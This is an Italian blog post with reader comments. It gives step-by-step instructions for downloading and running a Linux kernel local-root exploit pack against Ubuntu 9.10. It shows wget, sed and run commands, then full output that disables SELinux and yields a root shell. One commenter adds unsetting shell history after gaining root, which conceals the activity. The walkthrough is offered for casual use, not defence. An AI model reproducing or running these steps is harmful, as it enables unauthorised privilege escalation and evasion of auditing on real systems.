Purtroppo anche linux a volte, è un po buggato :(

Pubblico questo exploit, dopo un mese della sua uscita per ovvie ragioni di sicurezza.
I sistemi afflitti da questo bug, sono i seguenti:
- Ubuntu Ubuntu Linux 9.10 sparc
- Ubuntu Ubuntu Linux 9.10 powerpc
- Ubuntu Ubuntu Linux 9.10 lpia
- Ubuntu Ubuntu Linux 9.10 i386
Continua lettura…
Eseguendo questo exploit, da utenti normali, potremo senza sapere la password di root aprirci una shell rootata.
Vediamo come provare questo exploit…
La prima cosa da fare è scaricare l’exploit.
wget http://www.clshack.it/nopaste/kernelRoot.tar.gz
tar xzvf kernelRoot.tar.gz
cd enlightenment
Ora eseguiamo il tutto:
sed -i '/turn_\(on\|off\)_wp();/d' exploit.c
./run_null_exploits.sh
Output:
Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_therebel.c...OK.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...OK.
[+] MAPPED ZERO PAGE!
Choose your exploit:
[0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
[1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
[2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
[3] Powerglove: Linux 2.6.31 perf_counter local root
[4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
[5] Wunderbar Emporium: Linux 2.X sendpage() local root
[6] Exit
> 5
------------------------------------------------------------------------------
The work of an intellectual is not to mould the political will of others; it
is, through the analyses that he does in his own field, to re-examine
evidence and assumptions, to shake up habitual ways of working and thinking,
to dissipate conventional familiarities, to re-evaluate rules and
institutions and to participate in the formation of a political will (where
he has his role as citizen to play). --Foucault
------------------------------------------------------------------------------
[+] Resolved security_ops to 0xffffffff8068d240
[+] Resolved sel_read_enforce to 0xffffffff803184fb
[+] got ring0!
[+] detected 2.6 style 8k stacks, with current at 0xffff88000b1d5040
[+] Disabled security of : SELinux
[+] Got root!
Ciao buon divertimento :D
Altri:
- [tutorial]Tool for Privilege Escalation
- [Virtual DOS]Exploit privilege escalation windows 2000/XP/VISTA/7/SERVER
- [Samba EXPLOIT]Symlink Traversal (guida metasploit)
- [guida]Oday-Exploit Adobe Reader: Hack di Windows con metasploit
- [Servizio]:Exploit Finder :)







Andy scrive:
10 marzo 2010 alle 20:27
Come sempre molto utile Alessio.
Perciò il kernel 2.6.32 e .33 non è afflitto da questa vulnerabilità?
Alessio scrive:
10 marzo 2010 alle 20:53
no, cmq non da questa, ma da queste:
[0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
[1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
[2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
[3] Powerglove: Linux 2.6.31 perf_counter local root
[4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
[5] Wunderbar Emporium: Linux 2.X sendpage() local root
ov3rload scrive:
19 marzo 2010 alle 15:06
Era già un po’ che girava! =°P
vex scrive:
15 luglio 2010 alle 14:57
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.2# unset HISTFILE;unset HISTSAVE
sh-3.2# id
uid=0(root) gid=0(root)
vex:Grazie! ;)
clshack scrive:
15 luglio 2010 alle 16:05
@vex:
Felice che tu sia root :D